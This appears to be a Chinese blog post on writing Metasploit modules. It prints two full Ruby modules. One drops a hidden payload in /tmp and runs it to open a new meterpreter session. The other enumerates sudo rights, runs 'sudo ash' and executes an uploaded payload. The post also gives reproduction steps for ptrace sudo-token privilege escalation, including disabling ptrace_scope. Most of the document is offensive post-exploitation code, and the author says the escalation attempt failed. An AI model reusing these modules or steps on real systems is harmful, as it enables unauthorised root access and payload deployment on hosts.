msf写插件:建立一个新的session

msf 建立一个新的session

new_session.rb

作用是建立一个新的meterpreter session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'new meterpreter session',
      'Description'    => %q{
        generate new meterpreter session
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'whale3070'   # Metasploit
        ],
      'DisclosureDate' => '2019-03-24',
      'References'     =>
        [
          ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
          ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork'      => true,
          'WfsDelay'         => 30
        },
      'DefaultTarget'  => 0))
    register_options [
      OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end
  
  def base_dir
    datastore['WritableDir'].to_s
  end

  def timeout
    datastore['TIMEOUT']
  end
  
  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end
  
  def exploit
        # Upload payload
    @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
    upload @payload_path, generate_payload_exe
  end
  
  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end

todo: 参考exploit/linux/local/ptrace_sudo_token_priv_esc,编写一个check函数,进行提权检查,然后run函数,进行提权利用。

sudo提权模块

写了一天,本来打算提权成功以后,获得一个root权限的meterpreter session,但是失败了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Auxiliary::Report
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  #include Msf::Exploit::Local

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Sudo Commands',
      'Description'   => %q{
        This module examines the sudoers configuration for the session user
        and lists the commands executable via sudo.

        This module also inspects each command and reports potential avenues
        for privileged code execution due to poor file system permissions or
        permitting execution of executables known to be useful for privesc,
        such as utilities designed for file read/write, user modification,
        or execution of arbitrary operating system commands.

        Note, you may need to provide the password for the session user.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'whale3070' ],
      'Platform'      => [ 'bsd', 'linux', 'osx', 'solaris', 'unix' ],
      'SessionTypes'  => [ 'meterpreter', 'shell' ]
    ))
    register_options [
      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', '/usr/bin/sudo' ]),
      OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]),
      OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def sudo_path
    datastore['SUDO_PATH'].to_s
  end
  
  def base_dir
    datastore['WritableDir'].to_s
  end

  def timeout
    datastore['TIMEOUT']
  end

  def password
    datastore['PASSWORD'].to_s
  end

  def is_executable?(path)
    cmd_exec("test -x '#{path}' && echo true").include? 'true'
  end

  def eop_bins
    %w[
      ash bash
    ]
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  #
  # Check if a sudo command offers prvileged code execution
  #
  def check_eop(cmd)
    # drop args for simplicity (at the risk of false positives)
    cmd = cmd.split(/\s/).first

    if cmd.eql? 'ALL'
      print_good 'sudo any command!'
      return true
    end

    base_dir  = File.dirname cmd
    base_name = File.basename cmd

    if file_exist? cmd
      if writable? cmd
        print_good "#{cmd} is writable!"
        return true
      end
    elsif writable? base_dir
      print_good "#{cmd} does not exist and #{base_dir} is writable!"
      return true
    end

    if eop_bins.include? base_name
      print_good "#{cmd} matches known privesc executable '#{base_name}' !"  #shell session type executing sudo ash command
      if cmd.start_with? '/bin/ash'
        cmd_exec("sudo ash")  
        print_good "executing sudo ash"
        #print_good "spawn new meterpreter session..."
        #@payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
        #upload @payload_path, generate_payload_exe
        #res = cmd_exec "#{@payload_path} & echo "
        #vprint_line res
      else
        puts "/bin/ash not found!"
      end
      return true
    end

    false
  end

  #
  # Retrieve list of sudo commands for current session user
  #
  def sudo_list
    # try non-interactive (-n) without providing a password
    cmd = "#{sudo_path} -n -l"
    vprint_status "Executing: #{cmd}"
    output = cmd_exec(cmd).to_s

    if output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
      # try with a password from stdin (-S)
      cmd = "echo #{password} | #{sudo_path} -S -l"
      vprint_status "Executing: #{cmd}"
      output = cmd_exec(cmd).to_s
    end

    output
  end

  #
  # Format sudo output and extract permitted commands
  #
  def parse_sudo(sudo_data)
    cmd_data = sudo_data.scan(/may run the following commands.*?$(.*)\z/m).flatten.first

    # remove leading whitespace from each line and remove linewraps
    formatted_data = ''
    cmd_data.split("\n").reject { |line| line.eql?('') }.each do |line|
      formatted_line = line.gsub(/^\s*/, '').to_s
      if formatted_line.start_with? '('
        formatted_data << "\n#{formatted_line}"
      else
        formatted_data << " #{formatted_line}"
      end
    end

    formatted_data.split("\n").reject { |line| line.eql?('') }.each do |line|
      run_as = line.scan(/^\((.+?)\)/).flatten.first

      if run_as.blank?
        print_warning "Could not parse sudoers entry: #{line.inspect}"
        next
      end

      user = run_as.split(':')[0].to_s.strip || ''
      group = run_as.split(':')[1].to_s.strip || ''
      no_passwd = false

      cmds = line.scan(/^\(.+?\) (.+)$/).flatten.first
      if cmds.start_with? 'NOPASSWD:'
        no_passwd = true
        cmds = cmds.gsub(/^NOPASSWD:\s*/, '')
      end

      # Commands are separated by commas but may also contain commas (escaped with a backslash)
      # so we temporarily replace escaped commas with some junk
      # later, we'll replace each instance of the junk with a comma
      junk = Rex::Text.rand_text_alpha(10)
      cmds = cmds.gsub('\, ', junk)

      cmds.split(', ').each do |cmd|
        cmd = cmd.gsub(junk, ', ').strip

        if cmd.start_with? '('
          run_as = cmd.scan(/^\((.+?)\)/).flatten.first

          if run_as.blank?
            print_warning "Could not parse sudo command: #{cmd.inspect}"
            next
          end

          user = run_as.split(':')[0].to_s.strip || ''
          group = run_as.split(':')[1].to_s.strip || ''
          cmd = cmd.scan(/^\(.+?\) (.+)$/).flatten.first
        end

        msg = "Command: #{cmd.inspect}"
        msg << " RunAsUsers: #{user}" unless user.eql? ''
        msg << " RunAsGroups: #{group}" unless group.eql? ''
        msg << ' without providing a password' if no_passwd
        vprint_status msg

        eop = check_eop cmd

        @results << [cmd, user, group, no_passwd ? '' : 'True', eop ? 'True' : '']
      end
    end
  rescue => e
    print_error "Could not parse sudo ouput: #{e.message}"
  end

  def exploit
        # Upload payload
    print_good "spawn new meterpreter session..."
    @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
    upload @payload_path, generate_payload_exe
  end

  def run
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless is_executable? sudo_path
      print_error 'Could not find sudo executable'
      return
    end

    output = sudo_list
    vprint_line output
    vprint_line

    if output.include? 'Sorry, try again'
      fail_with Failure::NoAccess, 'Incorrect password'
    end

    if output =~ /^Sorry, .* may not run sudo/
      fail_with Failure::NoAccess, 'Session user is not permitted to execute any commands with sudo'
    end

    if output !~ /may run the following commands/
      fail_with Failure::NoAccess, 'Incorrect password, or the session user is not permitted to execute any commands with sudo'
    end

    @results = Rex::Text::Table.new(
      'Header'  => 'Sudo Commands',
      'Indent'  => 2,
      'Columns' =>
        [
          'Command',
          'RunAsUsers',
          'RunAsGroups',
          'Password?',
          'Privesc?'
        ]
    )

    parse_sudo output

    if @results.rows.empty?
      print_status 'Found no sudo commands for the session user'
      return
    end

    print_line
    print_line @results.to_s

    path = store_loot(
      'sudo.commands',
      'text/csv',
      session,
      @results.to_csv,
      'sudo.commands.txt',
      'Sudo Commands'
    )

    print_good "Output stored in: #{path}"

    if session.type.eql? 'meterpreter'
      puts "This sessions is meterpreter session."
      exploit     

      print_status 'Executing payload...'
      res = cmd_exec "#{@payload_path} & echo "
      vprint_line res
    else
      puts "maybe shell session types"
      exploit
      print_status 'Executing payload...'
      res = cmd_exec "#{@payload_path} & echo "
      vprint_line res
    end
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end

参考的模块exploit/linux/local/ptrace_sudo_token_priv_esc

复现sudo令牌窃取提权——ptrace Sudo Token Privilege Escalation

漏洞原理

https://onestraw.github.io/linux/ptrace-hack/

ptrace系统调从名字上看是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。

漏洞复现

echo 0 > /proc/sys/kernel/yama/ptrace_scope

sudo ls

输入密码

普通用户输入sudo的密码,就可以使用exploit/linux/local/ptrace_sudo_token_priv_esc进行提权了。提权成功会返回一个root权限的meterpreter session

下一步计划

重写new_session模块,添加提权函数